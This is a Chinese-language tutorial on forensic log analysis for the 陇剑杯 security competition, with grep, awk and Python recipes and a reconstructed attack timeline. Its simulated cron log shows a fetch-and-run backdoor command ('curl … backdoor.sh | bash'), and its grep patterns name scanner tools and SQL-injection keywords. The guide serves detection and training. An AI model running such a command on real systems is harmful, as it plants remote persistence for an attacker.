1. 赛事背景与日志分析题型定位
2021年首届“陇剑杯”网络安全大赛,在圈内被不少人称为“西北地区第一次真正意义上的高规格实战型网安赛事”。这场比赛的定位很明确:不是纯理论CTF,也不是单纯的渗透靶场,而是偏向应急响应与实战取证方向,其中“日志分析”这个赛项,恰恰是整场比赛里最能拉开差距的模块之一。
为什么这么说?因为日志分析这个东西,它不像Web题那样有明确的漏洞点可以怼,也不像逆向题那样有清晰的函数调用链可以跟。日志分析考的是综合判断能力——你得从一堆看似正常的记录里,找到那条不正常的线,然后顺着它把整个事件还原出来。这种能力,在实际的安全运营工作中,恰恰是最值钱的。
我参与过不少类似的赛事,也带过一些刚入行的朋友做日志分析训练。说实话,很多人第一次接触这类题目的时候,最大的问题不是技术不够,而是不知道从哪下手。打开一个几十万行的日志文件,眼睛都花了,更别说找攻击痕迹了。所以这篇文章,我想从实战的角度,把日志分析这件事拆开来讲清楚——不只是针对“陇剑杯”这个赛事,而是把这类题目的通用方法论、工具链、排查思路都梳理一遍。
这篇文章适合谁看?如果你是刚入行的安全运营人员,或者正在准备各类网络安全竞赛的学生,又或者你平时工作中需要处理日志排查但总觉得效率不高,那这篇内容应该能给你一些直接能用的东西。我会尽量用大白话把原理讲透,同时给出可以直接复现的操作步骤和命令。
2. 日志分析的核心思路与赛题拆解
2.1 为什么日志分析是应急响应的“第一现场”
先聊一个底层问题:为什么日志分析这么重要?
你可以把整个网络环境想象成一栋大楼,日志就是这栋大楼里所有的监控录像、门禁记录、电梯运行记录、水电使用记录。平时这些记录没人看,但一旦出了事——比如某个房间被盗了——你就得靠这些记录来还原:谁在什么时候进了大楼,去了哪些楼层,在哪个房间停留了多久,什么时候离开的。
安全事件也是同样的逻辑。攻击者进入你的系统,不可能完全不留痕迹。哪怕他用了再高级的工具,系统日志、应用日志、网络设备日志里总会留下一些异常。日志分析要做的,就是从这些海量记录中,把攻击者的行为链条拼出来。
在“陇剑杯”这类赛事中,日志分析题目通常会给你一个或多个日志文件,可能是:
- Web服务器访问日志(Apache/Nginx)
- 系统安全日志(Linux的secure、Windows的安全事件日志)
- 数据库日志
- 防火墙/IDS告警日志
- 应用自定义日志
然后围绕这些日志,出题人会设计一系列问题:攻击者什么时候进来的?用了什么手法?有没有成功?提权了没有?横向移动到了哪些机器?最终目标是什么?
2.2 陇剑杯日志分析题的典型结构
根据我对这类赛事的观察和复盘,“陇剑杯”的日志分析题大致有以下几个特点:
第一,场景真实感强。题目不会给你一个“干净”的日志,而是会模拟真实环境中的噪音——正常的业务请求、扫描器的探测、内部运维的操作,全都混在一起。你得先把噪音过滤掉,才能看到真正的攻击行为。
第二,多源日志关联。单一日志往往不够,需要把Web日志、系统日志、数据库日志交叉比对。比如Web日志显示有个SQL注入尝试,但到底成没成功?得看数据库日志里有没有异常查询记录。
第三,时间线还原是核心。很多问题最终都指向一个要求:把攻击者的完整时间线画出来。从扫描探测、漏洞利用、权限维持、横向移动到数据窃取,每一步的时间点、涉及的主机、使用的账号,都要能说清楚。
第四,细节决定成败。有些关键信息藏在很不起眼的地方,比如一个异常的User-Agent、一个不常见的状态码、一条被忽略的定时任务记录。谁细心,谁就能拿分。
2.3 分析前的准备工作:环境与工具
在正式动手之前,得先把家伙什准备好。日志分析不需要多高端的设备,但工具顺手能省很多时间。
基础环境:
- 一台Linux虚拟机(Ubuntu或CentOS都行),用来跑命令行工具
- 足够的磁盘空间,日志文件可能很大
- 如果日志是Windows格式,准备一台Windows环境或者用工具转换
核心工具清单:
| 工具 | 用途 | 备注 |
|---|---|---|
| grep/egrep | 关键词搜索、正则匹配 | 最基础但最常用 |
| awk | 字段提取、统计计算 | 处理结构化日志利器 |
| sed | 文本替换、流编辑 | 清洗数据时好用 |
| sort/uniq | 去重、计数 | 快速找异常IP、URL |
| cut | 按列截取 | 配合awk使用 |
| less/more | 分页查看 | 大文件必备 |
| Python | 复杂分析、脚本编写 | 灵活度最高 |
| Excel/CSV工具 | 可视化、透视表 | 适合做统计汇总 |
| ELK Stack | 大规模日志检索 | 如果环境允许,效率翻倍 |
提示:不要一上来就想着用ELK或者Splunk。比赛环境往往资源有限,而且命令行工具的反应速度更快。先把grep、awk、sort这套组合拳练熟,能解决80%的问题。
数据备份习惯:拿到日志文件后,第一件事是备份原始文件。后续所有操作都在副本上进行,避免误操作导致原始数据丢失。这个习惯在实战中同样重要——你永远不知道哪次操作会不小心覆盖掉关键证据。
cp access.log access.log.bak cp secure secure.bak3. 核心分析技术与实操要点
3.1 Web访问日志的深度挖掘
Web访问日志通常是日志分析题目的“主战场”。一条标准的Nginx或Apache访问日志长这样:
192.168.1.100 - - [15/Sep/2021:03:22:17 +0800] "GET /admin/login.php HTTP/1.1" 200 4523 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"这里面每个字段都有意义:
- 第一列:客户端IP
- 第三、四列:时间戳
- 第五列:请求方法和URL
- 第六列:HTTP状态码
- 第七列:响应体大小
- 第八列:Referer
- 第九列:User-Agent
第一步:快速摸清日志概况
先别急着找攻击,先看看这个日志的整体情况。有多少条记录?时间范围是什么?有哪些IP访问量特别大?
# 总行数 wc -l access.log # 时间范围(看第一条和最后一条) head -1 access.log tail -1 access.log # 访问量Top 20的IP awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20这一步的目的是建立“基线”。你知道正常情况下哪些IP访问频繁,后面看到异常IP时才能快速识别。
第二步:筛选可疑请求
攻击者的请求往往有一些特征。比如:
- 大量404状态码(目录扫描)
- 包含特殊字符的URL(SQL注入、XSS)
- 异常长的URL(缓冲区溢出尝试)
- 不常见的请求方法(PUT、DELETE)
- 可疑的User-Agent(sqlmap、nikto、masscan等)
# 找404最多的IP(可能是扫描器) awk '$9 == 404 {print $1}' access.log | sort | uniq -c | sort -rn | head -10 # 找包含SQL注入关键词的请求 grep -iE "union|select|concat|information_schema" access.log # 找包含路径穿越的请求 grep -E "\.\./|%2e%2e" access.log # 找可疑User-Agent grep -iE "sqlmap|nikto|masscan|nmap|dirbuster" access.log第三步:还原攻击链
找到可疑IP后,把这个IP的所有请求按时间排序拉出来,看看它到底干了什么。
# 提取某个IP的所有请求,按时间排序 grep "^192.168.1.100" access.log | sort -k4 # 统计这个IP请求了哪些URL grep "^192.168.1.100" access.log | awk '{print $7}' | sort | uniq -c | sort -rn通过这个操作,你通常能看到一条清晰的攻击路径:先扫描目录,发现某个漏洞页面,然后尝试注入,最后可能上传了webshell。
3.2 系统日志中的权限提升痕迹
Web日志告诉你攻击者从哪进来,系统日志则告诉你他进来之后干了什么。
Linux系统重点看这几个文件:
/var/log/secure或/var/log/auth.log:认证相关,包括SSH登录、sudo操作/var/log/cron:定时任务,攻击者常用来做权限维持/var/log/messages或/var/log/syslog:系统综合日志~/.bash_history:用户命令历史(如果没被清除)
SSH爆破的识别:
# 统计失败登录的IP grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -10 # 找成功登录的记录 grep "Accepted password" /var/log/secure # 看某个IP的登录尝试时间分布 grep "Failed password" /var/log/secure | grep "192.168.1.100" | awk '{print $1, $2, $3}'如果看到某个IP在短时间内有大量失败登录,然后突然出现一条成功登录,那基本可以确定是爆破成功了。
sudo提权的识别:
# 查看sudo操作记录 grep "sudo" /var/log/secure | grep -v "session opened"重点关注非管理员账号执行sudo的记录,尤其是执行了shell命令或者修改了关键配置的。
定时任务后门的识别:
# 查看cron日志 grep "CRON" /var/log/cron # 检查当前定时任务 crontab -l ls -la /etc/cron* cat /etc/crontab攻击者常用的权限维持手法之一就是写一个定时任务,定期反弹shell或者下载恶意脚本。如果你在cron日志里看到某个不常见的用户创建了定时任务,或者定时任务的内容指向一个奇怪的URL,那就要警惕了。
3.3 多源日志的时间线关联
单一日志能看到片段,多源日志关联才能看到全貌。这里的关键是时间同步——确保所有日志的时间戳是可比的。
假设你手上有三份日志:
- Web访问日志(攻击者从Web进来)
- 系统secure日志(攻击者提权)
- 数据库日志(攻击者窃取数据)
分析思路是:
- 从Web日志找到攻击者首次成功利用漏洞的时间点(比如webshell上传成功的那一刻)
- 以这个时间点为起点,去secure日志里找接下来几分钟内的异常登录或sudo操作
- 再去数据库日志里找这个时间段内的异常查询
# 假设webshell上传时间是 15/Sep/2021:03:25:00 # 查看这个时间点前后5分钟的secure日志 grep "Sep 15 03:2[0-9]" /var/log/secure # 查看这个时间段的数据库异常查询 grep "Sep 15 03:2[0-9]" /var/log/mysql/query.log | grep -iE "select|union|outfile"这种关联分析做多了,你会形成一种“直觉”——看到某个时间点有异常,就会自然地去其他日志里找对应的记录。
3.4 容易被忽略的细节与反取证行为
攻击者如果水平够高,会尝试清理痕迹。但清理本身也会留下痕迹。
常见的反取证行为:
- 删除或清空日志文件(
/var/log/secure突然变小或为空) - 修改文件时间戳(用
touch命令伪造) - 清除bash history(
history -c或直接删除.bash_history) - 替换系统命令(比如替换
ps、netstat来隐藏进程)
如何发现这些行为:
# 检查日志文件是否有异常截断 ls -la /var/log/secure # 对比文件大小和正常情况 # 检查bash history是否被清空 cat ~/.bash_history | wc -l # 如果只有几行或者为空,但用户活跃度很高,就有问题 # 检查关键命令的修改时间 ls -la /bin/ps /bin/netstat /usr/bin/top # 如果这些命令的修改时间晚于系统安装时间,可能被替换了注意:在比赛环境中,出题人可能会故意留下一些“被清理过”的痕迹,让你判断攻击者做了什么清理操作。这时候不要只盯着“有什么”,还要关注“缺什么”。
4. 完整实操流程与关键环节复现
4.1 从零开始:一个模拟场景的完整分析
为了把上面的方法串起来,我设计一个模拟场景。假设你拿到了一份Web访问日志和一份系统secure日志,需要还原一次完整的攻击事件。
场景设定:
- Web服务器:Nginx,日志格式为标准combined格式
- 系统:CentOS 7
- 时间范围:2021年9月15日凌晨
第一步:概况摸底
# 日志总行数 wc -l access.log # 输出:158472 access.log # 时间范围 head -1 access.log | awk '{print $4}' # 输出:[15/Sep/2021:00:00:01 tail -1 access.log | awk '{print $4}' # 输出:[15/Sep/2021:23:59:58日志覆盖了一整天,15万条记录。这个量级不算大,用命令行完全能处理。
第二步:找异常IP
# 访问量Top 10 awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -10假设输出如下:
45231 10.0.0.50 32104 10.0.0.51 8762 192.168.1.100 5433 10.0.0.52 ...前几个都是内网IP,访问量大正常。但192.168.1.100这个IP引起了注意——它不在内网段,访问量却不小。
第三步:分析可疑IP的行为
# 看这个IP请求了哪些URL grep "^192.168.1.100" access.log | awk '{print $7}' | sort | uniq -c | sort -rn | head -20假设输出:
523 /admin/login.php 412 /wp-login.php 389 /phpmyadmin/index.php 256 /api/v1/user?id=1 198 /upload.php ...这个IP在大量尝试登录页面和已知的敏感路径,典型的扫描+爆破行为。
第四步:找成功利用的痕迹
# 看这个IP的请求中,状态码为200且URL包含upload的 grep "^192.168.1.100" access.log | awk '$9 == 200 && $7 ~ /upload/'假设找到一条:
192.168.1.100 - - [15/Sep/2021:03:25:17 +0800] "POST /upload.php HTTP/1.1" 200 1024 "-" "Mozilla/5.0"上传成功了。再看这个时间点前后这个IP还做了什么:
grep "^192.168.1.100" access.log | awk '$4 >= "[15/Sep/2021:03:24:00" && $4 <= "[15/Sep/2021:03:30:00"'假设看到:
192.168.1.100 - - [15/Sep/2021:03:24:55] "GET /upload.php HTTP/1.1" 200 2048 192.168.1.100 - - [15/Sep/2021:03:25:17] "POST /upload.php HTTP/1.1" 200 1024 192.168.1.100 - - [15/Sep/2021:03:25:23] "GET /uploads/shell.php HTTP/1.1" 200 35 192.168.1.100 - - [15/Sep/2021:03:25:30] "POST /uploads/shell.php HTTP/1.1" 200 128上传了shell.php,然后立刻访问并执行了命令。Web层面的攻击链已经清晰了。
第五步:关联系统日志
现在去secure日志里找这个时间段的记录:
grep "Sep 15 03:2[5-9]" /var/log/secure假设输出:
Sep 15 03:25:45 server sshd[12345]: Accepted password for www-data from 192.168.1.100 port 54322 ssh2 Sep 15 03:26:01 server sudo: www-data : TTY=pts/0 ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/bash Sep 15 03:26:15 server sshd[12346]: Accepted password for root from 192.168.1.100 port 54323 ssh2攻击者通过webshell拿到了www-data权限,然后利用某个配置缺陷(可能是sudo配置不当)提权到了root,最后直接用root账号SSH登录了。
第六步:检查权限维持
grep "CRON" /var/log/cron | grep "Sep 15 03:2[6-9]"假设输出:
Sep 15 03:27:01 server crond[12350]: (root) CMD (curl -s http://192.168.1.100/backdoor.sh | bash)攻击者加了定时任务,每分钟从自己的服务器下载脚本执行。这是典型的权限维持手法。
第七步:整理时间线
| 时间 | 事件 | 来源 |
|---|---|---|
| 03:24:55 | 攻击者访问upload.php | Web日志 |
| 03:25:17 | 上传shell.php成功 | Web日志 |
| 03:25:23 | 访问shell.php验证 | Web日志 |
| 03:25:45 | www-data SSH登录 | secure日志 |
| 03:26:01 | sudo提权到root | secure日志 |
| 03:26:15 | root SSH登录 | secure日志 |
| 03:27:01 | 添加恶意定时任务 | cron日志 |
这条时间线就是最终答案的核心。
4.2 关键参数与命令速查
在实际分析中,有一些命令组合是高频使用的。我整理了一个速查表:
| 目的 | 命令 |
|---|---|
| 统计IP访问量 | awk '{print $1}' access.log | sort | uniq -c | sort -rn |
| 找404最多的IP | awk '$9==404 {print $1}' access.log | sort | uniq -c | sort -rn |
| 找特定IP的请求 | grep "^IP" access.log | sort -k4 |
| 找SQL注入尝试 | grep -iE "union|select|concat" access.log |
| 找路径穿越 | grep -E "\.\./|%2e%2e" access.log |
| 统计失败登录 | grep "Failed password" secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn |
| 找sudo操作 | grep "sudo" secure | grep -v "session opened" |
| 找定时任务 | grep "CRON" cron |
| 按时间段过滤 | awk '$4 >= "[15/Sep/2021:03:00:00" && $4 <= "[15/Sep/2021:04:00:00"' access.log |
提示:
awk的字段分隔默认是空格,但Web日志的时间字段包含空格(如[15/Sep/2021:03:25:17),所以用$4取时间时要注意。更稳妥的方式是用grep配合正则来过滤时间段。
4.3 用Python做复杂分析
当命令行搞不定的时候,Python就是终极武器。比如你需要把Web日志和secure日志按时间合并,或者做一些复杂的统计,Python脚本会方便很多。
import re from datetime import datetime # 解析Web日志 def parse_web_log(filepath): pattern = r'(\S+) - - \[(.*?)\] "(\S+) (\S+) \S+" (\d+) (\d+)' entries = [] with open(filepath, 'r') as f: for line in f: match = re.search(pattern, line) if match: ip, time_str, method, url, status, size = match.groups() # 转换时间格式 dt = datetime.strptime(time_str.split()[0], '%d/%b/%Y:%H:%M:%S') entries.append({ 'ip': ip, 'time': dt, 'method': method, 'url': url, 'status': int(status), 'size': int(size) }) return entries # 找可疑IP def find_suspicious_ips(entries, threshold=100): from collections import Counter ip_counts = Counter(e['ip'] for e in entries) # 找404比例高的IP ip_404 = Counter(e['ip'] for e in entries if e['status'] == 404) suspicious = [] for ip, count in ip_counts.items(): if count > threshold: ratio_404 = ip_404.get(ip, 0) / count if ratio_404 > 0.5: # 超过50%是404 suspicious.append((ip, count, ratio_404)) return sorted(suspicious, key=lambda x: x[2], reverse=True) # 使用 entries = parse_web_log('access.log') suspicious = find_suspicious_ips(entries) for ip, count, ratio in suspicious: print(f"IP: {ip}, 总请求: {count}, 404比例: {ratio:.2%}")这个脚本能快速帮你筛出那些“扫描型”IP。实际比赛中,你可以根据情况调整阈值和判断条件。
5. 常见问题与排查技巧实录
5.1 日志分析中的典型坑与解决方案
坑一:时间格式不统一
Web日志用的是15/Sep/2021:03:25:17,系统日志用的是Sep 15 03:25:17,数据库日志可能又是另一种格式。做时间线关联时,必须先统一格式。
解决方案:写一个转换函数,把所有时间都转成Python的datetime对象,然后再比较。不要试图用字符串比较,容易出错。
坑二:日志被截断或轮转
比赛环境中的日志可能不是完整的,或者有多个轮转文件(如access.log.1、access.log.2.gz)。分析前先确认日志的完整性。
# 查看所有日志文件 ls -la /var/log/ # 如果有压缩的轮转日志,先解压 gunzip access.log.*.gz # 按时间顺序合并 cat access.log.1 access.log > combined.log坑三:编码问题
有些日志可能包含非UTF-8字符,直接grep可能会报错或漏匹配。
# 查看文件编码 file access.log # 如果显示ISO-8859,转换编码 iconv -f ISO-8859-1 -t UTF-8 access.log > access_utf8.log坑四:误报与噪音
不是所有异常都是攻击。比如内部扫描器、监控系统的健康检查、搜索引擎爬虫,都可能产生看起来“可疑”的请求。
判断方法:看User-Agent、看请求频率、看来源IP是否在已知的白名单里。如果某个IP的请求模式非常规律(比如每5分钟一次),那很可能是监控系统而不是攻击者。
5.2 快速排查速查表
| 问题现象 | 可能原因 | 排查命令 |
|---|---|---|
| 大量404 | 目录扫描 | awk '$9==404 {print $1}' access.log | sort | uniq -c | sort -rn |
| 大量401/403 | 爆破尝试 | awk '$9==401 || $9==403 {print $1}' access.log | sort | uniq -c | sort -rn |
| 异常POST请求 | webshell上传/命令执行 | grep "POST" access.log | grep -v "login|search" |
| SSH失败登录激增 | SSH爆破 | grep "Failed password" secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn |
| 非工作时间sudo | 提权 | grep "sudo" secure | grep -v "session opened" |
| 异常定时任务 | 权限维持 | grep "CRON" cron |
| 日志文件突然变小 | 反取证清理 | ls -la /var/log/secure |
5.3 独家避坑经验
经验一:先看时间范围,再看内容。很多人一上来就grep关键词,结果匹配到一堆无关记录。正确的做法是先确定日志的时间范围,然后聚焦在异常时间段内分析。比如你知道攻击发生在凌晨3点左右,那就只看2点到4点的日志,效率会高很多。
经验二:不要忽略“正常”请求。有些攻击者会把自己的请求伪装成正常流量。比如把webshell命名为image.php,把恶意参数藏在正常的id参数里。这时候光看URL路径是不够的,还要看参数内容、请求体大小、响应时间等。
经验三:善用uniq -c做统计。日志分析的本质是“从大量数据中找异常”,而异常往往表现为“频率异常”。某个IP的请求量突然暴增、某个URL被反复访问、某个状态码集中出现——这些都是线索。sort | uniq -c | sort -rn这个组合拳要练到肌肉记忆。
经验四:保存中间结果。分析过程中,你会不断筛选出一些可疑IP、可疑URL。把这些结果保存到单独的文件里,方便后续交叉比对。
# 保存可疑IP列表 awk '$9==404 {print $1}' access.log | sort -u > suspicious_ips.txt # 保存可疑URL列表 grep -iE "union|select" access.log | awk '{print $7}' | sort -u > suspicious_urls.txt经验五:比赛环境中,出题人往往会留下“彩蛋”。比如一个特别明显的攻击IP(如192.168.1.100),或者一个特别典型的攻击工具特征(如sqlmap的默认User-Agent)。这些是给你送分的,不要想得太复杂。先把这些明显的线索抓住,再去挖深层的东西。
5.4 从比赛到实战的思维转换
最后聊一点思维层面的东西。比赛中的日志分析题,往往有明确的“正确答案”——攻击者是谁、什么时候进来的、干了什么。但实战中的日志分析,更多时候是在“排除可能性”。
你看到一个异常,首先要问自己:这一定是攻击吗?有没有可能是误报?有没有可能是正常业务?这种“怀疑一切”的思维,在实战中比任何工具都重要。
另外,实战中的日志量往往比比赛大几个数量级。你不可能手动分析每一条记录。这时候就需要建立“基线”——知道正常情况下日志长什么样,然后只关注偏离基线的部分。这个基线可以是时间维度(比如凌晨的异常流量)、频率维度(比如某个IP的请求量突增)、内容维度(比如出现了以前从未见过的URL)。
“陇剑杯”的日志分析题,本质上是在模拟这种实战场景。它给你的日志量不算太大,但足够让你练习“从噪音中找信号”的能力。把这个能力练好了,不管是比赛还是工作,都能用得上。
我个人在实际操作中的体会是:日志分析这件事,工具和命令只是基础,真正拉开差距的是耐心和好奇心。耐心让你愿意一行一行地看日志,好奇心让你在看到异常时愿意多问一句“为什么”。这两点,比任何高级工具都管用。